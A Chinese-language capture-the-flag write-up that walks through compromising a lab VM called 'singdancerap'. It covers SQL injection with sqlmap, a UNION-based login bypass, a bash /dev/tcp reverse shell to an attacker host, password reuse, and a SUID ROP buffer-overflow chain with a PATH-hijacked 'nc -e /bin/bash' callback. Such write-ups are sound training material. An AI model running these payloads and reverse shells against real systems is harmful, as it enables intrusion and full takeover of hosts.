一、信息收集
1. 主机与服务发现
首先,在本地网络中使用 arp-scan 扫描存活主机,确定目标靶机IP地址为 192.168.205.245。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.245 08:00:27:82:68:fa PCS Systemtechnik GmbH
...接着,使用 nmap 对目标主机进行全端口扫描,发现其开放了 22 (SSH) 和 80 (HTTP) 端口。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.245
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 10:09 EDT
Nmap scan report for 192.168.205.245
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http2. Web服务探索与SQL注入
访问80端口,发现是一个新闻网站。网站内的链接 http://192.168.205.245/news.php?title=... 存在明显的GET参数,这通常是漏洞的切入点。
使用 sqlmap 对 title 参数进行测试,迅速确认存在SQL注入漏洞。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sqlmap -u "http://192.168.205.245/news.php?title=1" --batch
...
---
Parameter: title (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: title=1' AND (SELECT 4710 FROM (SELECT(SLEEP(5)))shBD) AND 'ceXN'='ceXN
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: title=1' UNION ALL SELECT NULL,CONCAT(0x71627a6271,...),NULL-- -
---
[10:14:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
...sqlmap 确认后台数据库为MySQL,并且该注入点为DBA权限。
二、初始访问
1. 漏洞利用:从SQL注入到后台源码泄露
利用SQL注入点,我们首先尝试获取数据库中的用户信息。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sqlmap -u "http://192.168.205.245/news.php?title=1" --batch -D news_db -T users --dump
...
Database: news_db
Table: users
[2 entries]
+----+-----------+----------+
| id | password | username |
+----+-----------+----------+
| 1 | password1 | user1 |
| 2 | password2 | user2 |
+----+-----------+----------+
...获取到的用户名和密码 (user1:password1) 看起来是无效的测试数据。接着,使用 gobuster 对网站目录进行爆破,发现一个隐藏目录 /littlesecrets/,其中包含一个登录页面 login.php。
由于数据库中的凭据无效,我们的策略转向读取Web服务器上的文件,以获取后台登录的真实逻辑。通过读取Apache的配置文件 /etc/apache2/apache2.conf,我们发现网站的根目录被修改为 /var/www/he110wor1d。
# 从apache2.conf中发现的关键配置
<Directory /var/www/he110wor1d/>
Options -Indexes
AllowOverride None
Require all granted
</Directory>
<VirtualHost *:80>
DocumentRoot /var/www/he110wor1d
...利用这个信息,我们成功读取了 login.php 的源代码,并发现了数据库的连接密码。
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sqlmap -u "http://192.168.205.245/news.php?title=1" --batch --file-read="/var/www/he110wor1d/littlesecrets/login.php"
...
$servername = "localhost";
$username = "root";
$password = "i_love_sing_dance_rap";
$dbname = "news_db";
...2. 身份伪造与命令执行
接着读取登录成功后跳转的页面 manager.php,发现一个命令执行漏洞,但需要登录用户的用户名为 he110wor1d_admin。
// 从 manager.php 源码中发现的关键代码
if ($_SESSION['username'] !== 'he110wor1d_admin') {
die("Access Denied. You do not have permission to access this page.");
}
...
$command = $_POST['command'];
$command_output = shell_exec($command);
...由于 login.php 的SQL查询存在缺陷,我们可以通过构造UNION查询来伪造身份。在登录框中输入以下payload:
- Username:
' UNION SELECT 1, 'he110wor1d_admin', '1' # - Password:
1
成功登录后,我们进入了 manager.php 的命令执行面板。为了获得一个稳定的交互式Shell,我们执行反弹Shell命令。
首先,在攻击机上监听端口:
nc -lvnp 8888然后在Web面板中执行:
bash -c 'bash -i >& /dev/tcp/192.168.205.128/8888 0>&1'成功获取 www-data 用户的shell。
三、权限提升
1. 水平提权:www-data -> he110wor1d
在获取 www-data 权限后,我们怀疑之前从 login.php 中泄露的数据库密码 i_love_sing_dance_rap 可能被系统用户 he110wor1d 复用。
www-data@singdancerap:/var/www/he110wor1d/littlesecrets$ su he110wor1d
Password: i_love_sing_dance_rap
he110wor1d@singdancerap:/home$ id
uid=1001(he110wor1d) gid=1001(he110wor1d) groups=1001(he110wor1d)成功切换到 he110wor1d 用户,并在其家目录下找到第一个flag。
he110wor1d@singdancerap:~$ cat user.txt
#SQL injection can not only retrieve data but also forge it.
User flag:107883ee-f5e4-11ef-8542-0050562070112. 垂直提权:he110wor1d -> root (SUID & ROP)
在 he110wor1d 用户的家目录下,发现一个拥有SUID权限的可执行文件 thekey2root。
he110wor1d@singdancerap:~/thekey2root$ ls -al
-rwsr-sr-x 1 root root 15472 Mar 1 00:23 thekey2root使用 checksec 检查该文件,发现它是一个32位程序,没有PIE和Canary保护,但开启了NX。这是典型的ROP攻击场景。
[*] '/mnt/hgfs/gx/x/tmp/thekey2root'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)通过GDB动态调试,我们发现 main 函数中的 input() (即 scanf) 存在栈溢出漏洞。利用 pattern create 和 pattern offset,我们精算出覆盖返回地址所需的偏移量为 32字节。
我们的目标是利用程序中的 system() 函数来执行命令。为了获得root权限,我们需要一个能够提权的函数。sing_dance_rap 函数(地址 0x08049213)恰好可以做到这一点,因为它内部调用了 setuid(0) 和 setgid(0)。
构造ROP链:
我们的计划是,先跳转到 sing_dance_rap 提权,然后从 sing_dance_rap 返回时,再跳转到 system 函数,并让其执行我们想要的命令。
- 填充:32字节的垃圾数据。
- 第一跳:
sing_dance_rap的地址 (0x08049213)。 - 第二跳:
system@plt的地址 (0x08049040)。 system的返回地址:一个任意的占位地址 (e.g.,0xdeadbeef)。system的参数:在程序的只读数据段,我们发现了一个完美的字符串"s",其地址为0x0804a03e。
环境准备与攻击执行:
在靶机上,我们通过环境变量劫持,让 system("s") 执行我们指定的反弹Shell脚本。
# 1. 在攻击机上监听端口
nc -lvnp 9999
# 2. 在靶机上准备环境 (he110wor1d用户下)
echo "nc 192.168.205.128 9999 -e /bin/bash" > s
chmod +x s
export PATH=.:$PATH最终Payload:
"A"*32 + p32(0x08049213) + p32(0x08049040) + p32(0xdeadbeef) + p32(0x0804a03e)
在靶机上,使用Perl执行此payload:
he110wor1d@singdancerap:~/thekey2root$ perl -e 'print "A"x32 . "\x13\x92\x04\x08" . "\x40\x90\x04\x08" . "\xef\xbe\xad\xde" . "\x3e\xa0\x04\x08"' | ./thekey2root命令执行后,程序会看似卡住,此时我们的攻击机已收到 root 权限的反弹Shell。
四、夺取旗帜
成功获取 root shell后,读取最终的flag。
root@singdancerap:~# id
uid=0(root) gid=0(root) groups=0(root),1001(he110wor1d)
root@singdancerap:~# cat /root/root.txt
#During the process of PWN, the execution of the system function does not necessarily have to be bash.
root flag:943ac8c9-f696-11ef-8bd4-005056207011至此,靶机singdancerap的所有挑战均已完成。